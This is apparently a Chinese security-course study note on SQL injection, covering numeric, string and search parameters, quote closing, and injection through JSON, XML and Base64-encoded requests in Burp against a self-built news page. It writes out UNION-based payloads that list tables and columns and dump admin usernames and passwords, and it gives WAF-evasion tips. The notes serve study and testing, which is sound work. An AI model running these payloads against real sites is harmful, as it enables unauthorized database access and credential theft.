第五十四天(SQL注入數據類型參數格式JSONXML編碼加密符號閉合復盤報告)

#SQL注入產生原理:

代碼中執行的SQL語句存在可控變量導致

#常見SQL注入的利用過程:

1、判斷數據庫類型

2、判斷參數類型及格式

3、判斷數據格式及提交

4、判斷數據回顯及防護

5、獲取數據庫名,表名,列名

5、獲取對應數據及嘗試其他利用

#黑盒/白盒如何發現SQL注入

1、盲對所有參數進行測試

2、整合功能點腦補進行測試

白盒參考后期代碼審計課程

利用過程:

獲取數據庫名->表名->列名->數據(一般是關鍵數據,如管理員)

案例說明:

在應用中,存在參數值為數字,字符時,符號的介入,另外搜索功能通配符的再次介入,另外傳輸數據可由最基本的對應賦值傳遞改為更加智能的XML或JSON格式傳遞,部分保證更安全的情況還會采用編碼或加密形式傳遞數據,給于安全測試過程中更大的挑戰和難度。

#數字,字符,搜索

例:

select * from news where id=$id; //數字

select * from news where name='$name'; //這種是字符串

select * from news where name like '%name%'; //這種實現查找功能的,%這個是通配符,和Windows*是一樣的,就是搜索時

符號干擾:要考慮接收的參數的類型是什么,有無單引號或雙引號及通配符等,有就要對其進行閉合,不然寫的攻擊語句不會生效

直接讓ai寫一個帶有搜索功能的頁面

輸入一個1時顯示 新聞標題1

判斷原始查詢結果集的列數,要先對 %’ 進行閉合 ,這里是3列

判斷回顯位置

查詢當前數據庫名 union select 1.database(),3

查詢當前數據庫的所有表名 -1%' union select 1,2 ,group_concat(table_name) from information_schema.tables where table_schema='news_db' #

根據當前書庫和表名查詢, 表中的字段名

?-1%' union select 1,2 ,group_concat(column_name ) from information_schema.columns where table_name='admin' and table_schema='news_db' #

根據表名查詢里面的字段名,對應的所有值

流程:

order by 3 判斷原始查詢結果集的列數

union select 1,2,3 回顯位置

union select 1.database(),3 知道數據庫名:database() news_db

獲取數據庫名下的表名信息:

借助自帶的information_schema.tables表(記錄所有數據庫名下的表名)

?-1%' union select 1,2 ,group_concat(table_name) from information_schema.tables where table_schema='news_db' #

admin下列名

借助自帶的information_schema.columns表(記錄所有數據庫名下的表名對應的列名信息)

?-1%' union select 1,2 ,group_concat(column_name ) from information_schema.columns where table_name='admin' and table_schema='news_db' #

知道表中的字段名后,根據字段名和要查詢的表,或去里面的值(數據)

?-1%' union select 1,group_concat(username),group_concat(password)from admin #

表結構:

?admin

?username,password

XML,JSON,編碼,混合 等格式

XML

<?xml version="1.0" encoding="UTF-8"?>
<news>
??? <article>
??????? <id>1</id>
??????? <title>xiaodi</title>
??????? <content>i am xiaodi</content>
?????? <created_at>2025-03-07</created_at>
??? </article>
??? <article>
??????? <id>2</id>
??????? <title>xiaodisec</title>
??????? <content>i am xiaodisec</content>
??????? <created_at>2025-03-06</created_at>
??? </article>
</news>

?burp抓包,查看數據格式

修改參數值,參數值在下面修改;后續操作就和上面的一樣

JSON:

{
??? "news:"[
??????? {
??????????? "id": 1,
??????????? "title": "xiaodi",
?????????? "content": "i am xiaodi",
?????????? "created_at": "2025-03-07"
??????? },
?
??????? {
??????????? "id": 2,
??????????? "title": "xiaodisec",
??????????? "content": "i am xiaodisec",
??????????? "created_at": "2025-03-06"
??????? }
??? ]
}

?開啟burp攔截,在頁面中搜索框中輸入一個值,然后查看burp抓到的數據內容,可以看到提交的格式是json,傳的參數值在下面

將數據包轉到repeater中,因為這個是搜索框的內容,所以先對 %’ 進行 閉合 ,再寫語句, 寫完語句之后,寫一個# ,將后面的語句注釋掉 ;這里是判斷列數,三列正常,說明列數是大于等于三的

輸入4列時,內容顯示不正常,說明是三列

后面的操作都是一樣的

如果用json格式發送payload時,被過濾或攔截了(waf),那么可以嘗試修改成xml等格式,進行發送,嘗試繞過,是否成功主要看對方是否接收這個格式和是否對修改的格式進行過濾等;

也有只接收json格式數據的,當格式不對時,無法正常接收數據,攻擊語句也就沒用了

Base64: (base64+json)

{
??? "news": [
??????? {
??????????? "id": "MQ==",
?????????? "title": "eGlhb2Rp",
??????????? "content": "aSBhbSB4aWFvZGk=",
??????????? "created_at": "MjAyNS0wMy0wNw=="
?????? },
?????? {
?????????? "id": "Mg==",
??????????? "title": "eGlhb2Rpc2Vj",
??????????? "content": "aSBhbSB4aWFvZGlzZWM=",
??????????? "created_at": "MjAyNS0wMy0wNg=="
??????? }
??? ]
}

?通過修改參數值,查看哪個數據有變動

修改參數值,可以看到只有keyword 的值在改變,因為這里是已知base64 編碼;如果看到的是一些很亂的數據,不符合已知的加密類型或編碼格式時,就要去看js數據包中,有沒有寫加密的算法了(因為在抓包時數據就被加密了,所以加密是在前端就完成了;因為html的算法無法實現加密,所以大部分是在js代碼中);發送數據包測試時,要按照它的編碼或加密 以及格式去發送,不然對方無法正常處理發送過去的數據,那么就無法知道這里是否存在注入點;所以當數據被加密或編碼時,要先找到它的加密方法和編碼格式等,然后按照對方接收的格式和將測試數據進行加密后發送,才能順利進入邏輯,對方才能進行解密和解碼

寫的時候要注意單引號是否是英文的,還是中文的,不要寫錯了

判斷列

用帽子對數據進行base64 編碼后再發送數據進行測試

1、數據傳輸采用XML或JSON格式傳遞

2、數據傳輸采用編碼或加密形式傳遞 ;先看特征,如果符合就先測試看看,如果不行就再找代碼查看

3、數據傳遞采用JSON又采用編碼傳遞

#實例應用:

編碼注入案例:

互聯網搜下對應說明

實戰 || 記一次某項目中奇怪的SQL注入漏洞

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/96133.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/96133.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/96133.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

VMWare上搭建Hive集群

文章目錄1. MySQL安裝2. 安裝Hive集群3. 使用Hive客戶端4. 實戰總結本實戰在VMware上搭建Hive集群&#xff0c;集成MySQL作為元數據存儲&#xff0c;完成Hive環境配置、元數據初始化及HDFS倉庫目錄創建&#xff0c;實現Hive on Hadoop的SQL查詢能力&#xff0c;為大數據分析提供…

Android網絡之WIFI技術網絡模型概述

文章目錄術語1、WLAN與WIFI2、802.11 WIFI無線網絡標準演進3、WIFI5、WIFI6和WIFI7的最高速率對比4、WIFI網絡中的各個角色&#xff08;元件&#xff09;1&#xff09;網絡拓撲架構圖5、802.11權威指南1&#xff09;OSI與TCP/IP2&#xff09;IEEE 802.11協議簇介紹3&#xff09…

游戲中的設計模式——第三篇 簡單工廠模式

5. 簡單工廠模式 5.1 簡單工廠模式的定義 簡單工廠模式的核心是定義一個創建對象的接口&#xff0c;將對象的創建和本身的業務邏輯分離&#xff0c;降低系統的耦合度&#xff0c;使得兩個修改起來相對容易些&#xff0c;當以后實現改變時&#xff0c;只需要修改工廠類即可。 5.…

基于SVN搭建企業內部知識庫系統實踐

一、準備工作 CentOS 7 服務器&#xff1a;確保你有 root 或 sudo 權限&#xff0c;可以訪問該服務器。Windows 客戶端&#xff1a;你將需要在 Windows 上安裝 TortoiseSVN 客戶端來與 SVN 服務器交互。防火墻&#xff1a;確保你的防火墻已開放 3690 端口&#xff0c;用于 SVN…

SQL注入7----(盲注與回顯)

一.前言 在我們的注入語句被帶入數據庫查詢但卻什么都沒有返回的情況我們該怎么辦&#xff1f;例如應用程序就會返回 一個"通用的"的頁面&#xff0c;或者重定向一個通用頁面&#xff08;可能為網站首頁&#xff09;。這時&#xff0c;我們之前學習的SQL注入辦 法就…

尚硅谷宋紅康JVM全套教程(詳解java虛擬機)

https://www.bilibili.com/opus/1071553679925968898 案例7&#xff1a;日均百萬訂單系統JVM參數設置 https://github.com/wei198621/jvm_by_atguigu https://github.com/xftxyz2001/atguigu-jvm/blob/main/JavaYouthdocsJVM/%E7%AC%AC1%E7%AB%A0-JVM%E4%B8%8EJava%E4%BD%…

鴻蒙NEXT開發實戰:圖片顯示、幾何圖形與自定義繪制詳解

探索HarmonyOS NEXT強大的圖形渲染能力&#xff0c;從圖片展示到自定義繪圖 HarmonyOS NEXT作為華為自主研發的操作系統&#xff0c;為開發者提供了一套豐富而強大的圖形渲染能力。無論是顯示圖片、繪制幾何圖形&#xff0c;還是實現復雜的自定義繪圖&#xff0c;鴻蒙都提供了簡…

python + Flask模塊學習 2 接收用戶請求并返回json數據

用到的模塊還是flask&#xff0c;用到的類有Flask&#xff0c; request&#xff0c; jsonfiy &#x1f642; 目錄 1、GET請求 2、POST請求 1、表單格式 2、json格式 就醬&#xff0c;也比較簡單&#xff0c;下一篇說簡單的授權&#xff0c;簡單來說就是比如用戶付費買了服…

國內外常用的免費BUG管理工具選型

幫助用戶根據自身情況做決定&#xff0c;比如團隊規模、技術能力、是否需要移動端支持等。避免只是羅列工具&#xff0c;而是提供實際選擇的維度。 國內外常用的免費BUG管理工具選擇非常豐富&#xff0c;從輕量級到功能全面型都有覆蓋。我將它們分為幾類&#xff0c;并詳細介紹…

JavaScript的事件循環機制

1.事件循環的理解JavaScript是單線程的&#xff0c;意味著它一次只能執行一個任務。而事件循環就是去協調在JavaScript環境中運行的同步任務、異步任務(微任務、宏任務)的執行順序的一種機制。它是 JavaScript 實現單線程非阻塞異步執行的核心。2.事件循環的執行順序同步任務—…

數據結構——棧(Java)

目錄 一定義. 入棧 出棧 二.棧與線性表的關系 三.棧的實現方式 四.鏈表實現棧 1.結點的API設計 2.棧的API設計 2.1棧的初始化設計 2.2元素入棧 2.3元素出棧 五.括號匹配問題 完整代碼展示 答案 一定義. 棧是一種基于先進后出&#xff08;FILO&#xff09;的數據…

科研筆記:數學建模啟發的課題研究方法

借鑒數學建模的思路解決科學問題或開展課題研究&#xff0c;核心是將實際問題抽象為數學框架&#xff0c;通過定量分析、邏輯推演和驗證優化&#xff0c;實現對問題的精準描述、解釋或預測。其本質是“從現實到數學&#xff0c;再從數學回歸現實”的迭代過程&#xff0c;適用于…

Agent落地到底選擇LangChain 還是 LangGraph

核心概念 LangChain:一個用于構建由大型語言模型驅動的應用程序的框架。它提供了大量的組件和現成的鏈,旨在簡化和標準化應用程序與LLM交互的過程。 LangGraph:一個用于在LangChain之上構建有狀態、多參與者的 工作流 的庫。它特別擅長處理具有循環、分支和復雜協調的代理(…

ChatGPT下的相關聊天提示詞

問&#xff1a;如果我覺得一個子對話里&#xff0c;聊天聊得太多&#xff0c;在這個項目下新開一個子對話&#xff0c;但是不想把上次太多的信息 都復制過來&#xff0c;有沒有什么辦法關鍵詞&#xff1a;項目、子對話&#xff0c;上下文ChatGPT:有辦法的 ?在 ChatGPT 里&…

最新PDF版本!Acrobat Pro DC 2025,解壓即用版

軟件介紹 Adobe Acrobat Pro DC 2025 是全球知名的 PDF 編輯神器&#xff0c;被稱為 “最牛 PDF 工具”&#xff0c;能輕松解決 PDF 編輯、創建、轉換等難題&#xff0c;本次分享的版本解壓即可使用。 軟件特點 然解壓即可使用不用登錄注冊最新版本 軟件使用 我們打開軟件選…

XX汽集團數字化轉型:全生命周期網絡安全、數據合規與AI工業物聯網融合實踐

引言&#xff1a;數字化轉型中的安全與效率雙輪驅動作為中國汽車行業的龍頭企業&#xff0c;XX汽集團近年來積極推進數字化轉型&#xff0c;通過構建全生命周期網絡安全體系、完善數據合規治理框架&#xff0c;并深度融合AI工業物聯網技術&#xff0c;實現了生產成本顯著降低和…

云原生部署_Docker入門

Docker是啥Docker是一個開源的容器化平臺&#xff0c;可以幫助開發者將應用程序和其依賴的環境打包成一個可移植、可部署的容器。Docker的主要目標是通過容器化技術&#xff0c;實現應用程序的快速部署、可移植性和可擴展性&#xff0c;從而簡化應用程序的開發、測試和部署過程…

【大數據專欄】大數據框架-Apache Druid Overview

目錄 Architecture Advantages and disadvantages 從架構以及設計可以得出結論&#xff0c;Durid不支持ACID事務&#xff0c;基于時間戳列和維度列去查詢&#xff0c;所以適合基于時間做分組和學列的查詢操作。 Advantages優勢&#xff1a; 實時數據攝取與查詢 支持秒級數據攝…

云平臺面試內容(一)

1. 云計算的優點、服務模型區別及云部署模式 云計算優點: 云計算具有顯著的優勢,包括無需自建機房和硬件投入,資源即開即用并支持彈性伸縮,按需付費使成本透明可控。企業可以在數分鐘內完成全球范圍的部署,縮短上線周期。同時云平臺提供高可用性和安全性,多副本容災保證數…

嵌入式 - 硬件:51單片機(2)

本節重點&#xff1a;1. GPIO輸入模式、輸出模式2. 按鍵工作原理&#xff08;GPIO輸入&#xff09;3. 中斷概念4. 中斷源概念、中斷源個數、哪幾個中斷源5. 外部中斷、定時器中斷概念6. 中斷處理流程&#xff1a;7. 51單片機中定時器的個數&#xff1f;類型8. 16位定時器和8位…